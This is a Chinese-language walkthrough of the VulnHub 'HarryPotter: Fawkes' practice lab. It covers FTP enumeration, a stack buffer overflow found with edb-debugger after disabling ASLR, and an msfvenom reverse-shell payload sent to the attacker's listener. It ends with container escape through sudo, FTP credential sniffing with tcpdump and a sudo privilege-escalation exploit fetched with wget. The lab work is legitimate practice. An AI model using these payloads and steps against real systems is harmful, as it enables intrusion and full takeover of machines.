vuln-Fawks打靶
环境
靶场来自 https://www.vulnhub.com/entry/harrypotter-fawkes,686/
攻击机:kali 192.168.31.118 靶机:192.168.31.132
信息收集
对靶机进行信息收集

用nmap -A扫描后发现2222也是ssh端口,9898端口无法访问

先扫描一下路径,什么都没有

回到21端口发现存在匿名用户登录

ftp匿名登录
发现一个 文件,下载下来看看

用cat查看是乱码,用file看看是个什么东西

缓存区溢出
缓存区溢出漏洞
缓冲区溢出(buffer overflow),是针对程序设计缺陷,向程序输入缓冲区写入使之溢出的内容(通常是超过缓冲区能保存的最大数据量的数据),从而破坏程序运行、趁著中断之际并获取程序乃至系统的控制权。
而缓存区溢出漏洞最重要的就是找出缓存区溢出的位置,这里我们使用edb-debugger调试工具来动态测试server_hogwarts进程并找出缓存区溢出漏洞的溢出位置
发现是一个elf可执行文件,给一个执行权限执行看看,没有回显

看看进程,到底是个啥东西
1  | ps -aux | grep server  | 

发现在本地的9898端口起了一个服务,和最开始nmap扫描出的9898端口一致,暂时不知道用处,监听看看

输入都无效,到这里思路已经没了,去网上看了公开的wp ,打死没想到这里是缓冲区溢出。。。知识盲点
edb-debugger调试
edb-debugger是一个跨平台的 AArch32 / x86 / x86-64 调试器
关闭防护
我们是通过ftp服务下载server_hogwarts到本地来调试,目的就是找出它的缓存溢出位置,但是kali本机存在ALSR安全技术,地址空间随机化,会造成内存地址的随机化,导致我们无法确定缓冲区溢出的位置。所以要关闭。
cd到**/proc/sys/kernel目录下把randomize_va_space改成0**即可

安装edb-debugger
1  | apt-get update  | 
等跑完选确定
开始调试
前面的端口不要断,打开edb,直接在控制台输入edb

选中刚刚的进程,点击确定

再点击运行,就可以开始调试了

确认漏洞
因为我们要来调试缓存区溢出,先构造一些数据,用Python来构造一些脏数据
1  | python3 -c "print('asd'*500)"  | 

粘贴到输入框,发现报错

已经调试到了错误位置,即确实存在代码溢出漏洞

寻找溢出位置
确认了存在缓存区溢出,就需要找到溢出位置,这里不能生成一样的数据,因为需要通过报错来判断溢出位置
1  | msf-pattern_create -l 500  | 
重启edb,重复上面的操作,然后将生成的随机字符丢进去

此时的报错提示我们0×64413764内存位置有问题,那这个位置很有可能就是想找的溢出位置,我们来找一下这个内存位置在输入区的位置
查询溢出位置
1  | msf-pattern_offset -l 500 -q 64413764  | 

可以看到偏移量为112,所以64413764就是在113个位置
看别的师傅公开的wp后面的内容真看不懂,直接跳过生成payload
构造payload
这个生成的payload就是我们用来放进ESP并执行的反弹shell代码,但注意这里需要16进制的payload
1  | msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.31.118 LPORT=4444 -b "\x00" -f python  | 

根据这个payload写一个exp
1  | import sys,socket  | 
这里connect连接的是靶机的9898端口
反弹shell
用nc监听本地4444端口,也就是一开始msf生成的payload端口再执行exp
1  | nc -lnvp 4444  | 
收到shell

反弹一个半交互式shell,发现没python用bash
1  | /bin/sh -i  | 

发现一个隐藏文件,发现一串字符串

提权
容器提权
目录下这个文件没有执行权,不知道是什么东西

用刚刚的字符串尝试一下ssh,发现密码错误,但是2222端口还有一个ssh,继续尝试,发现成功登录
1  | harry HarrYp0tter@Hogwarts123  | 

发现这个名字,似乎是一个编号,查看ip和我们最开始访问的192.168.31.132不同,似乎是docker容器

判断是否为docker环境,进一步确认
1  | ls -alh /.dockerenv #查看是否存dockerrnv文件  | 

继续信息收集,suid和sudo

发现sudo -l 为all,可以直接执行sudo -s拿到root权限

发现flag和一串提示,意思是有人登录ftp,让我们分析流量

用tcpdump去分析
1  | tcpdump -i eth0 port 21  | 
发现一个账号密码

1  | 账号:neville  | 
宿主机提权
尝试登录ssh,22端口应该是宿主机的ssh端口,2222是容器的端口被映射出来
这里ip正确,是宿主机

找到第二个flag

提全三板斧,suid sudo 内核均无果,看了wp发现是sudo存在漏洞可以提权

找到exp,靶机出网就wget,不出网直接复制下来替换sudo路径


执行exp

参考来自:这位师傅的wp链接